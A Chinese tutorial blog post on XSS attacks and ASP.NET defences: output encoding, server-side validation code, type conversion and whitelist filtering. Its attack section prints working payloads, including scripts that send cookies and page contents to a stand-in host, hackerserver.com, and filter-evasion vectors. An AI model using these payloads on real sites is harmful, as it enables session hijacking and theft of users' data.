概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"

        code="var a = document.createElement('a');

        a.innerHTML= '执行了恶意代码';document.body.appendChild(a);

        //这这里执行代码

        "></div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

  <div>

    <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />

    </div>

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

最终反射出来的HTML代码:

<div>

<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
    </div>

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx" onerror="this.onload()"
onload="alert(/xss/)" x="

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

 var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"

        var e = document.createElement("div");

        document.documentElement.appendChild(e);

        e.style.display = "none";

        e.innerHTML = h;

        var frm = document.forms["f"];

        frm.data.value = document.documentElement.innerHTML;

        frm.submit();

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var xhr = new XMLHttpRequest();

        xhr.open("POST or GET","/目标网站其他页面的URL(如获取邮箱列表的地址)");

        xhr.onreadystatechange = function (e) {

            if (xhr.readyState == 4) {

                var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"

                var e = document.createElement("div");

                document.documentElement.appendChild(e);

                e.style.display = "none";

                e.innerHTML = h;

                var frm = document.forms["f"];

                frm.data.value = xhr.responseText;

                frm.submit();

            }

        }

        xhr.send(null);

3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播,如下面代码:

var xhr = new XMLHttpRequest();

xhr.open("POST", "目标网站的执行页面");

xhr.send(param);

当然XSS攻击方法远不止这些,黑客有很多天马行空的方法,只要是读和写的操作,那么我们有什么防御的方法呢?

XSS攻击防御

一、输出检查

根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,asp.net的安全函数可以参考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根据不同的场景使用正确的安全函数,否则效果适得其反,如果下面例子:

<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>

这个例子在HTML标签的属性内输出使用HttpUtility.HtmlAttributeEncode函数进行转义看似合情合理,但这个是特殊的属性,它被解析为元素的事件,这类型的属性在某特定条件下触发事件并执行里面的代码,如本例当用户点击这个链接是会执行里面的代码。

比如输入:http://www.a.com/text.aspx?n=';alert(/xss/);//

经过HttpUtility.HtmlAttributeEncode函数转义后,输出:

<a href="#" onclick="javascript:var name='';alert(/xss/);//';alert(name);">hahaha...</a>

点击标签将会弹出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被转义为“'”即是HTML的一个实体,最终还是被解析为"'"字符,所以脚步被成功注入。

正确的做法应该是使用JavaScriptStringEncode函数或者 JavaScriptStringEncode和HtmlAttributeEncode函数:

<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>

二、输入检查

通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。

1.使用ASP.NET Mvc的属性特性进行验证:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web; namespace MvcApplication1.Models
{ public class Item
{
[Key]
[Display(Name="项目ID")]
public int ID { get; set; }
[EmailAddress(ErrorMessage="电子邮箱错误")]
[Required]
[DisplayName("电子邮箱")]
public string Email { get; set; } }
}

2.当然也可以自己实现自定义验证的特性,如下面代码:

    [Serializable]
[AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)]
public class FormValidationAttribute : Attribute, IProperty
{
/////// <summary>
/////// 错误信息
/////// </summary>
////public string ErrorMessage { get; set; }
/// <summary>
/// 必需的
/// </summary>
public bool Required { get; set; }
/// <summary>
/// 电子邮件格式
/// </summary>
public bool IsEmailFormat { get; set; }
/// <summary>
/// 电话号码
/// </summary>
public bool IsTelephoneNumber { get; set; }
/// <summary>
/// 是中文名或者英文名称,中文少于2个字符,英文不少于3个字符
/// </summary>
public bool IsChineseNameOrEnglishName { get; set; }
/// <summary>
/// 正则表达式
/// </summary>
public string RegularExpression { get; set; }
public RegexOptions RegexOptions { get; set; }
/// <summary>
/// 最大的长度
/// </summary>
public int MaxLength { get; set; } public PropertyInfo Property
{get;set;}
}

应用到属性上

    public class Item
{
[FormValidation(MaxLength=)]
public string Name{ get; set; }
[FormValidation(IsTelephoneNumber = true)]
public string Mobile{ get; set; }
[FormValidation(IsEmailFormat= true,Required=true)]
public string Email { get; set; } }

写个扩展方法通过反射类型进行验证对象的属性是否有效:

    public class FormValidationException : Exception {
public FormValidationException(PropertyInfo field)
: this(field, null)
{ }
public FormValidationException(PropertyInfo field, string message)
: base(message)
{
Property = field;
Field = field.Name;
}
public string Field { get; private set; }
public PropertyInfo Property { get; private set; }
public override string Message
{
get
{
string msg = base.Message;
if (!string.IsNullOrWhiteSpace(Field))
{
if (string.IsNullOrWhiteSpace(msg)) { msg = Field; }
else { msg = string.Format("{0}({1})", msg, Field); }
}
return msg; }
}
}
/// <summary>
/// 不是必需的
/// </summary>
public class NotRequiredException : FormValidationException
{
public NotRequiredException(PropertyInfo field)
: base(field)
{}
public NotRequiredException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 无效的电子邮件格式
/// </summary>
public class InvalidEmailFormatException : FormValidationException
{
public InvalidEmailFormatException(PropertyInfo field)
: base(field)
{}
public InvalidEmailFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 无效的电话号码
/// </summary>
public class InvalidTelephoneNumberFormatException : FormValidationException
{
public InvalidTelephoneNumberFormatException(PropertyInfo field)
: base(field)
{}
public InvalidTelephoneNumberFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 不是中文名或者英文名
/// </summary>
public class NotChineseNameOrEnglishNameException : FormValidationException
{
public NotChineseNameOrEnglishNameException(PropertyInfo field)
: base(field)
{}
public NotChineseNameOrEnglishNameException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 不符合正则表达式
/// </summary>
public class InconformityRegularExpressionException : FormValidationException
{
public InconformityRegularExpressionException(PropertyInfo field)
: base(field)
{}
public InconformityRegularExpressionException(PropertyInfo field, string message)
: base(field, message)
{}
} public class ValueLengthIsLengthyException : FormValidationException
{
public ValueLengthIsLengthyException(PropertyInfo field)
: base(field)
{ }
public ValueLengthIsLengthyException(PropertyInfo field, string message)
: base(field, message)
{ }
}
public static class FormValidationExtendMethods
{
static void Validation(PropertyInfo p, string value)
{
var fv = p.GetAttribute<FormValidationAttribute>();
#region 验证
if (fv != null)
{ if (fv.Required && string.IsNullOrWhiteSpace(value))
{ throw new NotRequiredException(p); }
if (!string.IsNullOrWhiteSpace(value))
{
if (!string.IsNullOrWhiteSpace(fv.RegularExpression)
&& !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions))
{
throw new InconformityRegularExpressionException(p);
}
if (fv.IsEmailFormat && !value.IsValidEmail())
{
throw new InvalidEmailFormatException(p);
}
if (fv.IsTelephoneNumber && !value.IsTelephoneNumber())
{ throw new InvalidTelephoneNumberFormatException(p); }
if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName())
{
throw new NotChineseNameOrEnglishNameException(p);
}
if (fv.MaxLength > 0 && value.Length > fv.MaxLength)
{
throw new ValueLengthIsLengthyException(p);
}
}
}
#endregion }
public static bool Validation(this object o,bool isThrow=true) {
bool err=false;
Type t = o.GetType();
var ps = t.GetProperties();
try
{
foreach (var p in ps)
{
object v = null;
try
{
v = p.GetValue(o, null);
}
catch { }
Validation(p, v != null ? v.ToString() : string.Empty);
}
}
catch
{
if (isThrow) throw;
err = true;
}
return !err;
}
public static T GetInstance<T>(this NameValueCollection collection, bool verify = true) where T : class,new()
{
return collection.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this NameValueCollection collection, T instance, bool verify=true) where T : class
{
var ps = instance.GetType().GetProperties();
var keys = collection.AllKeys;
foreach (var p in ps)
{
bool has = false;
string k = p.Name;
foreach (var o in keys)
{
if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase))
{ k = o; has = true; break; }
}
var value = has ? (collection[k] ?? "").Trim() : string.Empty;
if (verify)
{
Validation(p, value);
} ///如果没有指定值,就保持默认值。
if (!has) continue;
#region 赋值
try
{
if (p.PropertyType.IsEnum)
{
p.SetValue(instance, Enum.Parse(p.PropertyType, value), null);
}
else
{
p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null);
}
}
catch { }
#endregion } return instance;
}
public static T GetInstance<T>(this HttpRequest request, bool verify = true) where T : class,new()
{
return request.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this HttpRequest request, T instance, bool verify = true) where T : class
{
return request.Form.GetInstance<T>(instance,verify);
}
}

最后使用起来就很方便了,如下面代码:

  try { Item data = Request.GetInstance<Item>(); }
catch (FormValidationException exp) {
//验证失败 通过FormValidationException 异常获取哪个子段没有合法。
}

三、转换为安全的类型

类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可:

<div>

<img src="/images/handler.ashx?id=<%=  int.Parse(Request.QueryString["id"]) %>" />

</div>

四、智能过滤恶意代码

通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过html编辑器提交的数据:my name is <b>Jackson</b>

如果用前面的方法进行转义:  <%= HttpUtility.HtmlEncode("my name is <b>Jackson</b>") %>

那么输出结果:my name is &lt;b&gt;Jackson&lt;/b&gt;

被浏览器解析后:my name is <b>Jackson</b> 显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:javascript、vbscript,<script>等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的,来看一下下面的代码:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

火狐浏览器解析后弹出:/xss/

 <a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

        haha...

    </a>

用户点击标签后弹出:/xss/ 说明恶意代码成功注入

那么我们应该如何过滤富文本呢?在标签、属性,以及CSS等代码中,应该启用白名单策略,避免使用黑名单策略,上面的做法就是黑名单策略,白名单策略告诉系统那些是标签、属性,或者CSS是安全的,如标签:<a>、<b>、<div>、<img>;属性:id、class、alt;CSS:color:red,width:22px等等。

最后给大家推荐两个较好的XSS Filter:

Anti-Samy是OWASP上的一个开源项目,最早基于Java,现在已经扩展到.NET 2.0,3.0,3.5,目前还没有4.0以上的版本。

下载地址:http://files.cnblogs.com/Jackson-Bruce/antisamy-project-1.5.3.zip

官方下载地址:http://owaspantisamy.googlecode.com/archive/d4575adf19850f01ac6882823662d29795de532f.zip

XSSAttacksFilters是我将Anti-Samy项目重构的一个项目,仅仅保留其白名单安全策略配置文档,不过也做了细微的调整,这个项目暂时还没有支持ASP.NET4.0以下的版本。

下载地址: http://files.cnblogs.com/Jackson-Bruce/XSSAttachs.zip

(完)

关于Web安全的那些事(XSS攻击)的更多相关文章

  1. 为web服务器设置HttpOnly防范XSS攻击

    HttpOnly标识是一个可选的.避免利用XSS(Cross-Site Scripting)来获取session cookie的标识.XSS攻击最常见一个的目标是通过获取的session cookie ...

  2. WEB安全 - 认识与防御XSS攻击

    目录 什么是xss攻击? XSS的危害 XSS攻击分类 xss攻击示例 反射型攻击 - 前端URL参数解析 反射型攻击 - 后端URL参数解析 注入型攻击 - 留言评论 如何规避xss攻击? 总结 什 ...

  3. WEB安全实战(五)XSS 攻击的第二种解决方式(推荐)

    序 说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对近期工作中的一些新的问题.那么之前是怎么解决问题的呢?为什么又要换解决方式?以下就具体的跟大家分享一下. 旧方案 公司 ...

  4. 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击

    就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...

  5. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  6. MVC WEB安全——XSS攻击防御

    XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...

  7. 整理关于web项目如何防止CSRF和XSS攻击的方法

    1 了解CSRF的定义 CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding, ...

  8. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  9. 记一次JAVA WEB项目解决XSS攻击的办法(亲测有效)

    什么是XSS攻击 简单来说,XSS 攻击是页面被注入了恶意的代码,度娘一大堆的东西,不想说 系统架构主要是SSM框架,服务层另外使用了DubboX.   为啥说这个,因为SpringMVC对于Xss攻 ...

随机推荐

  1. 使用plumbing命令来深入理解git add和git commit的工作原理

    前言: plumbing命令 和 porcelain命令 git中的命令分为plumbing命令和porcelain命令: porcelain命令就是我们常用的git add,git commit等命 ...

  2. A1006. Sign In and Sign Out(25)

    25/25,一遍过了,很开心. #include<bits/stdc++.h> using namespace std; struct record{ string id; string ...

  3. Async 异步转同步详细流程解释

      安装 npm install async --save 地址 https://github.com/caolan/async Async的内容主要分为三部分 流程控制: 简化九种常见的流程的处理 ...

  4. dijkstra算法计算最短路径和并输出最短路径

    void dijisitela(int d, int m1) { ], book[], path[], u, v, min; l = ; ; i < n1; i++) { dis[i] = w[ ...

  5. PHPMyWind5.4存储XSS(CVE-2017-12984)

    0x0 环境 操作机:xp   192.168.110.128 目标:win2003    192.168.110.133 目标cms:PHPMyWind5.4 0x11 漏洞介绍 允许恶意访问者在客 ...

  6. PAT甲题题解-1124. Raffle for Weibo Followers-模拟,水题

    水题一个,贴个代码吧. #include <iostream> #include <cstdio> #include <algorithm> #include &l ...

  7. 剑指offer:数组中出现次数超过一半的数

    题目描述: 数组中有一个数字出现的次数超过数组长度的一半,请找出这个数字.例如输入一个长度为9的数组{1,2,3,2,2,2,5,4,2}.由于数字2在数组中出现了5次,超过数组长度的一半,因此输出2 ...

  8. 哥java学识有大进 干回之前的小学生系统像切菜一样简单 不说了 来代码

    package runok; import java.util.*; import java.awt.*; import java.awt.event.ActionEvent; import java ...

  9. JS 中的require 和 import 区别

    这两个都是为了JS模块化编程使用. 遵循规范 require 是 AMD规范引入方式 import是es6的一个语法标准,如果要兼容浏览器的话必须转化成es5的语法 调用时间 require是运行时调 ...

  10. Python3 - DBUtils 和 pymysql 整合

    之前一篇Python 封装DBUtils 和pymysql 中写过一个basedao.py,最近几天又重新整理了下思绪,优化了下 basedao.py,目前支持的方法还不多,后续会进行改进.添加. 主 ...